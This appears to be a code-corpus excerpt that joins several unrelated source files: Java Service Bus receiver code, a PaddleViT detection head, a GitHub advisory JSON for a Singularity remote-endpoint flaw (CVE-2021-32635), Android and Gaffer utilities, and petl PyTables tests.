this.deadLetter(lockToken, deadLetterReason, deadLetterErrorDescription, propertiesToModify, TransactionContext.NULL_TXN);
}
@Override
public void deadLetter(UUID lockToken, String deadLetterReason, String deadLetterErrorDescription, Map<String, Object> propertiesToModify, TransactionContext transaction) throws InterruptedException, ServiceBusException {
this.checkInnerReceiveCreated();
this.innerReceiver.deadLetter(lockToken, deadLetterReason, deadLetterErrorDescription, propertiesToModify, transaction);
}
@Override
public CompletableFuture<Void> deadLetterAsync(UUID lockToken) {
return this.deadLetterAsync(lockToken, TransactionContext.NULL_TXN);
}
@Override
public CompletableFuture<Void> deadLetterAsync(UUID lockToken, TransactionContext transaction) {
this.checkInnerReceiveCreated();
return this.innerReceiver.deadLetterAsync(lockToken, transaction);
}
@Override
public CompletableFuture<Void> deadLetterAsync(UUID lockToken, Map<String, Object> propertiesToModify) {
return this.deadLetterAsync(lockToken, propertiesToModify, TransactionContext.NULL_TXN);
}
@Override
public CompletableFuture<Void> deadLetterAsync(UUID lockToken, Map<String, Object> propertiesToModify, TransactionContext transaction) {
this.checkInnerReceiveCreated();
return this.innerReceiver.deadLetterAsync(lockToken, propertiesToModify, transaction);
}
@Override
public CompletableFuture<Void> deadLetterAsync(UUID lockToken, String deadLetterReason, String deadLetterErrorDescription) {
return this.deadLetterAsync(lockToken, deadLetterReason, deadLetterErrorDescription, TransactionContext.NULL_TXN);
}
@Override
public CompletableFuture<Void> deadLetterAsync(UUID lockToken, String deadLetterReason, String deadLetterErrorDescription, TransactionContext transaction) {
this.checkInnerReceiveCreated();
return this.innerReceiver.deadLetterAsync(lockToken, deadLetterReason, deadLetterErrorDescription, transaction);
}
@Override
public CompletableFuture<Void> deadLetterAsync(UUID lockToken, String deadLetterReason, String deadLetterErrorDescription, Map<String, Object> propertiesToModify) {
return this.deadLetterAsync(lockToken, deadLetterReason, deadLetterErrorDescription, propertiesToModify, TransactionContext.NULL_TXN);
}
@Override
public CompletableFuture<Void> deadLetterAsync(UUID lockToken, String deadLetterReason, String deadLetterErrorDescription, Map<String, Object> propertiesToModify, TransactionContext transaction) {
this.checkInnerReceiveCreated();
return this.innerReceiver.deadLetterAsync(lockToken, deadLetterReason, deadLetterErrorDescription, propertiesToModify, transaction);
}
private void checkInnerReceiveCreated() {
if (this.innerReceiver == null) {
throw new UnsupportedOperationException("Receiver not created. Registering a MessageHandler creates a receiver.");
}
}
// Don't notify handler if the pump is already closed
private void notifyExceptionToSessionHandler(Throwable ex, ExceptionPhase phase) {
if (!(ex instanceof IllegalStateException && this.getIsClosingOrClosed())) {
this.customCodeExecutor.execute(() -> this.sessionHandler.notifyException(ex, phase));
}
}
private void notifyExceptionToMessageHandler(Throwable ex, ExceptionPhase phase) {
if (!(ex instanceof IllegalStateException && this.getIsClosingOrClosed())) {
this.customCodeExecutor.execute(() -> this.messageHandler.notifyException(ex, phase));
}
}
// These wrappers catch any synchronous exceptions and properly complete completablefutures with those excetions.
// Callers of these methods don't expect any synchronous exceptions.
private static CompletableFuture<IMessage> receiveAsyncWrapper(IMessageReceiver receiver, Duration serverWaitTime) {
try {
return receiver.receiveAsync(serverWaitTime);
} catch (Throwable t) {
CompletableFuture<IMessage> exceptionalFuture = new CompletableFuture<IMessage>();
exceptionalFuture.completeExceptionally(t);
return exceptionalFuture;
}
}
private static CompletableFuture<Void> completeAsyncWrapper(IMessageReceiver receiver, UUID lockToken) {
try {
return receiver.completeAsync(lockToken);
} catch (Throwable t) {
CompletableFuture<Void> exceptionalFuture = new CompletableFuture<Void>();
exceptionalFuture.completeExceptionally(t);
return exceptionalFuture;
}
}
private static CompletableFuture<Void> abandonAsyncWrapper(IMessageReceiver receiver, UUID lockToken) {
try {
return receiver.abandonAsync(lockToken);
} catch (Throwable t) {
CompletableFuture<Void> exceptionalFuture = new CompletableFuture<Void>();
exceptionalFuture.completeExceptionally(t);
return exceptionalFuture;
}
}
private static CompletableFuture<Instant> renewMessageLockAsyncWrapper(IMessageReceiver receiver, IMessage message) {
try {
return receiver.renewMessageLockAsync(message);
} catch (Throwable t) {
CompletableFuture<Instant> exceptionalFuture = new CompletableFuture<Instant>();
exceptionalFuture.completeExceptionally(t);
return exceptionalFuture;
}
}
private static CompletableFuture<Void> renewSessionLockAsyncWrapper(IMessageSession session) {
try {
return session.renewSessionLockAsync();
} catch (Throwable t) {
CompletableFuture<Void> exceptionalFuture = new CompletableFuture<Void>();
exceptionalFuture.completeExceptionally(t);
return exceptionalFuture;
}
}
@Override
public int getPrefetchCount() {
return this.prefetchCount;
}
@Override
public void setPrefetchCount(int prefetchCount) throws ServiceBusException {
if (prefetchCount < 0) {
throw new IllegalArgumentException("Prefetch count cannot be negative.");
}
this.prefetchCount = prefetchCount;
if (this.innerReceiver != null) {
this.innerReceiver.setPrefetchCount(prefetchCount);
}
// For accepted session receivers also
IMessageSession[] currentAcceptedSessions = this.openSessions.values().toArray(new IMessageSession[0]);
for (IMessageSession session : currentAcceptedSessions) {
try {
session.setPrefetchCount(prefetchCount);
} catch (IllegalStateException ise) {
// Session might have been closed.. Ignore the exception as this is a best effort setter on already accepted sessions
}
}
}
}
| 20,965 |
993 | <reponame>no-name-xiaosheng/PaddleViT
# Copyright (c) 2021 PPViT Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import numpy as np
import paddle
import paddle.nn as nn
import paddle.nn.functional as F
from paddle.nn.initializer import XavierNormal, XavierUniform, Normal
from ..det_utils.target_assign import roi_target_assign
from ..det_utils.generator_utils import RoIAlign
from ..det_utils.box_utils import bbox2delta, delta2bbox, multiclass_nms
class BoxHead(nn.Layer):
"""
A head with several 3x3 conv layers (each followed by norm & relu), then
several fc layers (each followed by relu) and followed by two linear layers
for predicting Fast R-CNN outputs.
"""
def __init__(
self,
num_classes,
in_channels,
output_size,
num_conv,
conv_dim,
num_fc,
fc_dim,
):
'''
Attributes:
num_classes (int): the number of class.
in_channels (int): the channels of inputs.
output_size (int): the size of output from pooler.
num_conv (int): the number of conv.
conv_dim (int): the output channels of each conv.
num_fc (int): the number of fc.
fc_dim (int): the output channels of each fc.
'''
super(BoxHead, self).__init__()
conv_dims = [conv_dim] * num_conv
fc_dims = [fc_dim] * num_fc
self.forward_net = nn.Sequential()
for i, channel in enumerate(conv_dims):
conv = nn.Conv2D(
in_channels=in_channels,
out_channels=channel,
kernel_size=3,
padding=1,
weight_attr=paddle.ParamAttr(initializer=XavierNormal(fan_in=0.0)),
bias_attr=True
)
self.forward_net.add_sublayer("conv{}".format(i), conv)
self.forward_net.add_sublayer("act_c{}".format(i), nn.ReLU())
in_channels = channel
in_dim = output_size * output_size *in_channels
for i, out_dim in enumerate(fc_dims):
if i == 0:
self.forward_net.add_sublayer("flatten", nn.Flatten())
fc = nn.Linear(in_dim,
out_dim,
weight_attr=paddle.ParamAttr(initializer=XavierUniform(fan_in=in_dim, fan_out=in_dim)))
self.forward_net.add_sublayer("linear{}".format(i), fc)
self.forward_net.add_sublayer("act_f{}".format(i), nn.ReLU())
in_dim = out_dim
self.cls_fc = nn.Linear(in_dim,
num_classes + 1,
weight_attr=paddle.ParamAttr(initializer=Normal(mean=0., std=0.01)))
self.reg_fc = nn.Linear(in_dim,
num_classes * 4,
weight_attr=paddle.ParamAttr(initializer=Normal(mean=0., std=0.001)))
def forward(self, inputs):
feats = self.forward_net(inputs)
pred_scores = self.cls_fc(feats)
pred_deltas = self.reg_fc(feats)
return [pred_scores, pred_deltas]
class RoIHead(nn.Layer):
'''
RoIHead will match proposals from RPNHead with gt (when training),
crop the regions and extract per-region features using proposals,
and make per-region predictions.
'''
def __init__(self, config):
super(RoIHead, self).__init__()
self.config = config
self.pooler = RoIAlign(
output_size=config.ROI.ALIGN_OUTPUT_SIZE,
scales=config.ROI.SCALES,
sampling_ratio=config.ROI.SAMPLING_RATIO,
canonical_box_size=config.ROI.CANONICAL_BOX_SIZE,
canonical_level=config.ROI.CANONICAL_LEVEL,
min_level=config.ROI.MIN_LEVEL,
max_level=config.ROI.MAX_LEVEL,
aligned=config.ROI.ALIGNED
)
self.predictor = BoxHead(
num_classes=config.ROI.NUM_ClASSES,
in_channels=config.FPN.OUT_CHANNELS,
output_size=config.ROI.ALIGN_OUTPUT_SIZE,
num_conv=config.ROI.BOX_HEAD.NUM_CONV,
conv_dim=config.ROI.BOX_HEAD.CONV_DIM,
num_fc=config.ROI.BOX_HEAD.NUM_FC,
fc_dim=config.ROI.BOX_HEAD.FC_DIM
)
def _det_forward(self, feats, proposals_info):
roi = proposals_info["proposals"]
rois_num = paddle.to_tensor(proposals_info["num_proposals"]).astype("int32")
roi_feats = self.pooler(feats, roi, rois_num)
predictions = self.predictor(roi_feats)
return predictions
def _get_loss(self, preds, proposals_info):
'''
Args:
preds (list[tensor]):
pred_scores (tensor) shape is (num_proposals, num_cls + 1), The pred class score.
pred_deltas (tensor) shape is (num_proposals, num_cls * 4), The pred location.
'''
pred_scores, pred_deltas = preds
n_s = pred_deltas.shape[0]
proposals = proposals_info["proposals"]
gt_classes = paddle.concat(proposals_info["gt_classes"]).reshape([-1])
gt_boxes = paddle.concat(proposals_info["gt_boxes"])
if len(proposals) == 0:
proposals = paddle.zeros(shape=[n_s, 4], dtype="float32")
tgt_scores = paddle.full(shape=[n_s,], fill_value=-1, dtype="float32")
tgt_boxes = paddle.zeros(shape=[n_s, 4], dtype="float32")
else:
proposals = paddle.concat(proposals)
tgt_scores = gt_classes.reshape([-1, 1])
tgt_boxes = gt_boxes.reshape([-1, 4])
losses = {
"loss_cls": F.cross_entropy(pred_scores, tgt_scores.astype("int64"), reduction='mean')
}
fg_idx = paddle.nonzero(
paddle.logical_and(gt_classes >= 0, gt_classes < self.config.ROI.NUM_ClASSES)
).flatten()
#TODO: errors raised when fg_idx is [] tensor, when train from scratch
fg_cls_base = paddle.gather(x=gt_classes, index=fg_idx)
fg_cls_start = paddle.arange(0, self.config.ROI.NUM_ClASSES * fg_idx.shape[0], self.config.ROI.NUM_ClASSES)
fg_cls_idx = fg_cls_base + fg_cls_start
fg_cls_idx = fg_cls_idx.astype('int64')
fg_idx.stop_gradient = True
tgt_boxes.stop_gradient = True
proposals.stop_gradient = True
tgt_scores.stop_gradient = True
fg_cls_base.stop_gradient = True
fg_cls_start.stop_gradient = True
pred_deltas = pred_deltas.reshape([-1, self.config.ROI.NUM_ClASSES, 4])
pred_deltas = paddle.gather(pred_deltas, fg_idx, axis=0).reshape([-1, 4])
pred_deltas = paddle.gather(pred_deltas, fg_cls_idx)
tgt_boxes = paddle.gather(tgt_boxes, fg_idx)
proposals = paddle.gather(proposals, fg_idx)
tgt_deltas = bbox2delta(proposals, tgt_boxes, self.config.ROI.BOX_HEAD.REG_WEIGHTS)
loss_reg = F.l1_loss(pred_deltas, tgt_deltas, reduction="sum") / max(gt_classes.numel(), 1.0)
losses["loss_reg"] = loss_reg
return losses
def _inference(self, preds, proposals_info, inputs):
num_proposals = proposals_info["num_proposals"]
proposals = proposals_info["proposals"]
proposals = paddle.concat(proposals)
if not len(num_proposals):
return None
pred_scores, pred_deltas = preds
# pred_bbox shape [num_proposals_all, num_classes, 4]
pred_bbox = delta2bbox(pred_deltas,
proposals,
self.config.ROI.BOX_HEAD.REG_WEIGHTS)
pred_bbox_list = paddle.split(pred_bbox, num_proposals)
pred_bbox_list = paddle.split(pred_bbox, num_proposals)
pred_scores = F.softmax(pred_scores)
pred_scores_list = paddle.split(pred_scores, num_proposals)
post_pred = []
for i in range(len(pred_bbox_list)):
num_p = num_proposals[i]
img_pred_boxes = pred_bbox_list[i]
img_pred_scores = pred_scores_list[i]
img_hw = inputs["imgs_shape"][i]
img_scale_factor = inputs["scale_factor_wh"][i]
img_pred_boxes[:, :, 0::2] = paddle.clip(
img_pred_boxes[:, :, 0::2], min=0, max=img_hw[1]
) / img_scale_factor[0]
img_pred_boxes[:, :, 1::2] = paddle.clip(
img_pred_boxes[:, :, 1::2], min=0, max=img_hw[0]
) / img_scale_factor[1]
output = multiclass_nms(bboxes=img_pred_boxes,
scores=img_pred_scores[:, :-1],
score_threshold=self.config.ROI.SCORE_THRESH_INFER,
keep_top_k=self.config.ROI.NMS_KEEP_TOPK_INFER,
nms_threshold=self.config.ROI.NMS_THRESH_INFER,
background_label=self.config.ROI.NUM_ClASSES,
rois_num=paddle.to_tensor([num_p]).astype("int32"))
if output[1][0] == 0:
post_pred.append(paddle.to_tensor([]))
continue
post_label = output[0][:, 0:1]
post_score = output[0][:, 1:2]
post_boxes = output[0][:, 2:]
boxes_w = post_boxes[:, 2] - post_boxes[:, 0]
boxes_h = post_boxes[:, 3] - post_boxes[:, 1]
keep = paddle.nonzero(paddle.logical_and(boxes_w > 0., boxes_h > 0.)).flatten()
post_label = paddle.gather(post_label, keep)
post_score = paddle.gather(post_score, keep)
post_boxes = paddle.gather(post_boxes, keep)
final_output = paddle.concat([post_label, post_score, post_boxes], axis=-1)
post_pred.append(final_output)
return post_pred
def forward(self, feats, proposals, inputs):
'''
Args:
feats (list[tensor]): the outputs of fpn.
proposals (list[tensor]): list[i] denotes the proposals of the i'th imgs
from rpn head.
inputs (dict): the gt info, eg. gt_boxes, gt_classes, imgs_wh and so on.
Returns:
losses (dict) | outputs (list[tensor]):
losses contains cls_losses and reg_losses.
the shape of outputs[i] is [M, 6], M is the number of final preds,
Each row has 6 values: [label, score, xmin, ymin, xmax, ymax]
'''
if self.training:
proposals_info = roi_target_assign(
proposals,
inputs["gt_boxes"],
inputs["gt_classes"],
self.config.ROI.NUM_ClASSES,
self.config.ROI.POSITIVE_THRESH,
self.config.ROI.NEGATIVE_THRESH,
self.config.ROI.BATCH_SIZE_PER_IMG,
self.config.ROI.POSITIVE_FRACTION,
self.config.ROI.LOW_QUALITY_MATCHES
)
predictions = self._det_forward(feats, proposals_info)
losses = self._get_loss(predictions, proposals_info)
return losses
else:
proposals_info = {"num_proposals": [len(proposal) for proposal in proposals]}
proposals_info["proposals"] = proposals
predictions = self._det_forward(feats, proposals_info)
outputs = self._inference(predictions, proposals_info, inputs)
return outputs
| 6,077 |
892 | <filename>advisories/github-reviewed/2021/06/GHSA-5mv9-q7fq-9394/GHSA-5mv9-q7fq-9394.json<gh_stars>100-1000
{
"schema_version": "1.2.0",
"id": "GHSA-5mv9-q7fq-9394",
"modified": "2022-04-25T23:42:19Z",
"published": "2021-06-01T21:21:01Z",
"aliases": [
"CVE-2021-32635"
],
"summary": "Action Commands (run/shell/exec) Against Library URIs Ignore Configured Remote Endpoint",
"details": "### Impact\n\nDue to incorrect use of a default URL, `singularity` action commands (`run`/`shell`/`exec`) specifying a container using a `library://` URI will always attempt to retrieve the container from the default remote endpoint (`cloud.sylabs.io`) rather than the configured remote endpoint.\n\nAn attacker may be able to push a malicious container to the default remote endpoint with a URI that is identical to the URI used by a victim with a non-default remote endpoint, thus executing the malicious container.\n\nOnly action commands (`run`/`shell`/`exec`) against `library://` URIs are affected. Other commands such as `pull` / `push` respect the configured remote endpoint.\n\n### Patches\n\nAll users should upgrade to Singularity 3.7.4 or later.\n\n### Workarounds\n\nUsers who only interact with the default remote endpoint are not affected.\n\nInstallations with an execution control list configured to restrict execution to containers signed with specific secure keys are not affected.\n\n### For more information\n\nGeneral questions about the impact of the advisory can be asked in the:\n\n- [SingularityCE Slack Channel](https://singularityce.slack.com)\n- [SingularityCE Mailing List](https://groups.google.com/g/singularity-ce)\n\nAny sensitive security concerns should be directed to: <EMAIL>\n\nSee our Security Policy here: https://sylabs.io/security-policy",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L"
}
],
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/sylabs/singularity"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "3.7.2"
},
{
"fixed": "3.7.4"
}
]
}
]
}
],
"references": [
{
"type": "WEB",
"url": "https://github.com/hpcng/singularity/security/advisories/GHSA-jq42-hfch-42f3"
},
{
"type": "WEB",
"url": "https://github.com/sylabs/singularity/security/advisories/GHSA-5mv9-q7fq-9394"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32635"
},
{
"type": "WEB",
"url": "https://github.com/sylabs/singularity/releases/tag/v3.7.4"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-50"
},
{
"type": "PACKAGE",
"url": "https://github.com/sylabs/singularity"
}
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"severity": "MODERATE",
"github_reviewed": true
}
} | 1,309 |
384 | <filename>PracticeDemos/app/src/main/java/yifeiyuan/practice/practicedemos/viewdrager/ViewDragerActivity.java
package yifeiyuan.practice.practicedemos.viewdrager;
import android.os.Bundle;
import android.support.design.widget.AppBarLayout;
import android.support.v7.widget.Toolbar;
import android.widget.TextView;
import android.widget.Toast;
import butterknife.InjectView;
import butterknife.OnClick;
import yifeiyuan.practice.practicedemos.R;
import yifeiyuan.practice.practicedemos.base.ToolbarActivity;
public class ViewDragerActivity extends ToolbarActivity {
@InjectView(R.id.tv_one)
TextView mTvOne;
@InjectView(R.id.tv_two)
TextView mTvTwo;
@InjectView(R.id.tv_three)
TextView mTvThree;
@InjectView(R.id.drager)
DragerView mDrager;
@InjectView(R.id.tv_four)
TextView mTvFour;
@InjectView(R.id.tv_five)
TextView mTvFive;
@InjectView(R.id.toolbar)
Toolbar mToolbar;
@InjectView(R.id.appbar)
AppBarLayout mAppbar;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_view_drager);
}
@OnClick((R.id.tv_five))
public void five() {
Toast.makeText(mContext, "onclick", Toast.LENGTH_SHORT).show();
}
}
| 531 |
879 | package org.zstack.header.managementnode;
public interface PrepareDbInitialValueExtensionPoint {
void prepareDbInitialValue();
}
| 36 |
358 | # -*- coding:utf-8 -*-
from ..common.base import BaseObject,DAY_FINALIZE_TICK
from ..core.dac import MINUTE
class Minutes(MINUTE):
pass
#def day_finalize(self):
# self._next_is_new_day = True
class Minutes_Previous(object):
"""
#deprecated #2014-8-18日以前的版本
被SaveAgent每日初始化时创建新的Minute
故DayFinalize后的状态不重要
不从Indicator继承, 否则每次得到同一个对象, 需要手工清除数据
"""
def __init__(self,contract):
self._contract = contract
self._cur = BaseObject(sdate=-1,stime=-1,sopen=0,shigh=0,slow=0,sclose=0,
svolume=0,samount=0,sholding=0,sdvolume=0,sdamount=0
)
self._next_is_new_day = True
self._minutes = []
def new_tick(self,ctick):
'''
返回是否完成新的分钟数据的标志:
True: 已完成新分钟数据
False: 分钟持续中或未创建(换日第一秒)
'''
#print('in minute,ctick=%s,ctick.min1=%s,self.cur.stime=%s' % (ctick.time,ctick.min1,self.cur.stime))
if ctick.min1 > self._cur.stime or ctick.date >self._cur.sdate:
spre = self._cur
self._cur = BaseObject(sdate=ctick.date,stime=ctick.min1,
sopen=ctick.price,sclose=ctick.price,shigh=ctick.price,slow=ctick.price,
svolume=0,
samount = 0,
sholding=ctick.holding,
sdvolume = ctick.dvolume, #初始的dvolume,00:00的成交量归于上一分钟,价格归于当分钟.但这个不重要
sdamount = ctick.damount,
)
if self._next_is_new_day: #每日第一秒
self._minutes = []
self._next_is_new_day = False
self._cur.sdvolume = 0 #第一秒归于当日. 否则当日成交量就少了这一秒
self._cur.sdamount = 0
return False
else:
#if ctick.dvolume - spre.sdvolume > spre.svolume:
if ctick.price > 0:#非DAY_FINAL情况
spre.svolume = ctick.dvolume - spre.sdvolume
spre.samount = ctick.damount - spre.sdamount
self._minutes.append(spre)
print('minute switch,contract=%s,minute=%s,spre.svolume=%s,ctick.dvolume=%s' % (ctick.instrument,spre.stime,spre.svolume,ctick.dvolume))
return True
else: #未切换
scur = self._cur
scur.sclose = ctick.price
scur.holding = ctick.holding
scur.svolume = ctick.dvolume - scur.sdvolume
scur.samount = ctick.damount - scur.sdamount
if ctick.price > scur.shigh:
scur.shigh = ctick.price
elif ctick.price < scur.slow:
scur.slow = ctick.price
return False
def day_finalize(self):
self.new_tick(DAY_FINALIZE_TICK)
self._next_is_new_day = True
def get_minutes(self):
return self._minutes
def get_day(self):
if not self._minutes:
return BaseObject(sdate=0,sopen=0,sclose=0,shigh=0,slow=0,svolume=0,samount=0,sholding=0)
shigh = 0
slow = 99999999
for minute in self._minutes:
if minute.shigh > shigh:
shigh = minute.shigh
if minute.slow < slow:
slow = minute.slow
day = BaseObject(sdate=self._minutes[0].sdate,sopen=self._minutes[0].sopen,sclose=self._minutes[-1].sclose,
shigh = shigh,slow = slow,
svolume = self._minutes[-1].sdvolume,
samount = self._minutes[-1].sdamount,
sholding=self._minutes[-1].sholding)
return day
| 2,333 |
587 | /*
* Copyright 2017-2020 Crown Copyright
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package uk.gov.gchq.gaffer.commonutil;
import org.apache.hadoop.io.Text;
import java.nio.ByteBuffer;
/**
* Utility methods for Text.
* This class is coped from org.apache.accumulo.core.util.TextUtil.
*/
public final class TextUtil {
private TextUtil() {
// private to prevent this class being instantiated.
// All methods are static and should be called directly.
}
public static byte[] getBytes(final Text text) {
byte[] bytes = text.getBytes();
if (bytes.length != text.getLength()) {
bytes = new byte[text.getLength()];
System.arraycopy(text.getBytes(), 0, bytes, 0, bytes.length);
}
return bytes;
}
public static ByteBuffer getByteBuffer(final Text text) {
if (text == null) {
return null;
}
byte[] bytes = text.getBytes();
return ByteBuffer.wrap(bytes, 0, text.getLength());
}
}
| 530 |
357 | package com.vmware.identity.idm;
public class CrlDownloadException extends IDMException
{
/**
*
*/
private static final long serialVersionUID = 3325902801890343056L;
public CrlDownloadException(String message, Throwable t) {
super(message, t);
}
public CrlDownloadException(String message) {
super(message);
}
} | 138 |
1,367 | package com.wanjian.sak.layer.impl;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.Drawable;
import android.view.View;
import android.widget.ImageView;
import com.wanjian.sak.converter.ISizeConverter;
import com.wanjian.sak.layer.ISize;
/**
*
*/
public class BitmapWidthHeightLayer extends LayerTxtAdapter implements ISize {
private ISizeConverter sizeConverter = ISizeConverter.CONVERTER;
@Override
protected String getTxt(View view) {
ISizeConverter converter = sizeConverter;
Context context = getContext();
if (view instanceof ImageView) {
Drawable drawable = ((ImageView) view).getDrawable();
if (drawable instanceof BitmapDrawable) {
Bitmap bmp = ((BitmapDrawable) drawable).getBitmap();
if (bmp != null && !bmp.isRecycled()) {
return (int) converter.convert(context, bmp.getWidth()).getLength() + ":" + (int) converter.convert(context, bmp.getHeight()).getLength();
}
}
}
return "";
}
@Override
public void onSizeConvertChange(ISizeConverter converter) {
sizeConverter = converter;
invalidate();
}
}
| 442 |
348 | <filename>docs/data/leg-t2/029/02907072.json
{"nom":"Guilvinec","circ":"7ème circonscription","dpt":"Finistère","inscrits":2486,"abs":1369,"votants":1117,"blancs":115,"nuls":39,"exp":963,"res":[{"nuance":"REM","nom":"<NAME>","voix":538},{"nuance":"LR","nom":"<NAME>","voix":425}]} | 115 |
495 | <gh_stars>100-1000
# -*- coding: utf-8 -*-
from __future__ import division, print_function, absolute_import
import sys
from itertools import chain
from tempfile import NamedTemporaryFile
from petl.test.helpers import ieq
from petl.transform.sorts import sort
import petl as etl
from petl.io.pytables import fromhdf5, fromhdf5sorted, tohdf5, appendhdf5
try:
# noinspection PyUnresolvedReferences
import tables
except ImportError as e:
print('SKIP pytables tests: %s' % e, file=sys.stderr)
else:
class FooBar(tables.IsDescription):
foo = tables.Int32Col(pos=0)
bar = tables.StringCol(6, pos=2)
def test_fromhdf5():
f = NamedTemporaryFile()
# set up a new hdf5 table to work with
h5file = tables.open_file(f.name, mode='w', title='Test file')
h5file.create_group('/', 'testgroup', 'Test Group')
h5table = h5file.create_table('/testgroup', 'testtable', FooBar,
'Test Table')
# load some data into the table
table1 = (('foo', 'bar'),
(1, b'asdfgh'),
(2, b'qwerty'),
(3, b'zxcvbn'))
for row in table1[1:]:
for i, fld in enumerate(table1[0]):
h5table.row[fld] = row[i]
h5table.row.append()
h5file.flush()
h5file.close()
# verify we can get the data back out
table2a = fromhdf5(f.name, '/testgroup', 'testtable')
ieq(table1, table2a)
ieq(table1, table2a)
# verify we can get the data back out
table2b = fromhdf5(f.name, '/testgroup/testtable')
ieq(table1, table2b)
ieq(table1, table2b)
# verify using an existing tables.File object
h5file = tables.open_file(f.name)
table3 = fromhdf5(h5file, '/testgroup/testtable')
ieq(table1, table3)
# verify using an existing tables.Table object
h5tbl = h5file.get_node('/testgroup/testtable')
table4 = fromhdf5(h5tbl)
ieq(table1, table4)
# verify using a condition to filter data
table5 = fromhdf5(h5tbl, condition="(foo < 3)")
ieq(table1[:3], table5)
# clean up
h5file.close()
def test_fromhdf5sorted():
f = NamedTemporaryFile()
# set up a new hdf5 table to work with
h5file = tables.open_file(f.name, mode='w', title='Test file')
h5file.create_group('/', 'testgroup', 'Test Group')
h5table = h5file.create_table('/testgroup', 'testtable', FooBar,
'Test Table')
# load some data into the table
table1 = (('foo', 'bar'),
(3, b'asdfgh'),
(2, b'qwerty'),
(1, b'zxcvbn'))
for row in table1[1:]:
for i, f in enumerate(table1[0]):
h5table.row[f] = row[i]
h5table.row.append()
h5table.cols.foo.create_csindex()
h5file.flush()
# verify we can get the data back out
table2 = fromhdf5sorted(h5table, sortby='foo')
ieq(sort(table1, 'foo'), table2)
ieq(sort(table1, 'foo'), table2)
# clean up
h5file.close()
def test_tohdf5():
f = NamedTemporaryFile()
# set up a new hdf5 table to work with
h5file = tables.open_file(f.name, mode="w", title="Test file")
h5file.create_group('/', 'testgroup', 'Test Group')
h5file.create_table('/testgroup', 'testtable', FooBar, 'Test Table')
h5file.flush()
h5file.close()
# load some data via tohdf5
table1 = (('foo', 'bar'),
(1, b'asdfgh'),
(2, b'qwerty'),
(3, b'zxcvbn'))
tohdf5(table1, f.name, '/testgroup', 'testtable')
ieq(table1, fromhdf5(f.name, '/testgroup', 'testtable'))
tohdf5(table1, f.name, '/testgroup/testtable')
ieq(table1, fromhdf5(f.name, '/testgroup/testtable'))
h5file = tables.open_file(f.name, mode="a")
tohdf5(table1, h5file, '/testgroup/testtable')
ieq(table1, fromhdf5(h5file, '/testgroup/testtable'))
h5table = h5file.get_node('/testgroup/testtable')
tohdf5(table1, h5table)
ieq(table1, fromhdf5(h5table))
# clean up
h5file.close()
def test_tohdf5_create():
table1 = (('foo', 'bar'),
(1, b'asdfgh'),
(2, b'qwerty'),
(3, b'zxcvbn'))
f = NamedTemporaryFile()
# test creation with defined datatype
tohdf5(table1, f.name, '/testgroup', 'testtable', create=True,
drop=True, description=FooBar, createparents=True)
ieq(table1, fromhdf5(f.name, '/testgroup', 'testtable'))
# test dynamically determined datatype
tohdf5(table1, f.name, '/testgroup', 'testtable2', create=True,
drop=True, createparents=True)
ieq(table1, fromhdf5(f.name, '/testgroup', 'testtable2'))
def test_appendhdf5():
f = NamedTemporaryFile()
# set up a new hdf5 table to work with
h5file = tables.open_file(f.name, mode="w", title="Test file")
h5file.create_group('/', 'testgroup', 'Test Group')
h5file.create_table('/testgroup', 'testtable', FooBar, 'Test Table')
h5file.flush()
h5file.close()
# load some initial data via tohdf5()
table1 = (('foo', 'bar'),
(1, b'asdfgh'),
(2, b'qwerty'),
(3, b'zxcvbn'))
tohdf5(table1, f.name, '/testgroup', 'testtable')
ieq(table1, fromhdf5(f.name, '/testgroup', 'testtable'))
# append some more data
appendhdf5(table1, f.name, '/testgroup', 'testtable')
ieq(chain(table1, table1[1:]), fromhdf5(f.name, '/testgroup',
'testtable'))
def test_integration():
f = NamedTemporaryFile()
# set up a new hdf5 table to work with
h5file = tables.open_file(f.name, mode="w", title="Test file")
h5file.create_group('/', 'testgroup', 'Test Group')
h5file.create_table('/testgroup', 'testtable', FooBar, 'Test Table')
h5file.flush()
h5file.close()
# load some initial data via tohdf5()
table1 = etl.wrap((('foo', 'bar'),
(1, b'asdfgh'),
(2, b'qwerty'),
(3, b'zxcvbn')))
table1.tohdf5(f.name, '/testgroup', 'testtable')
ieq(table1, etl.fromhdf5(f.name, '/testgroup', 'testtable'))
# append some more data
table1.appendhdf5(f.name, '/testgroup', 'testtable')
ieq(chain(table1, table1[1:]), etl.fromhdf5(f.name, '/testgroup',
'testtable'))
| 3,512 |
49,076 | <reponame>spreoW/spring-framework
/*
* Copyright 2002-2020 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.test.context.event;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Inherited;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
/**
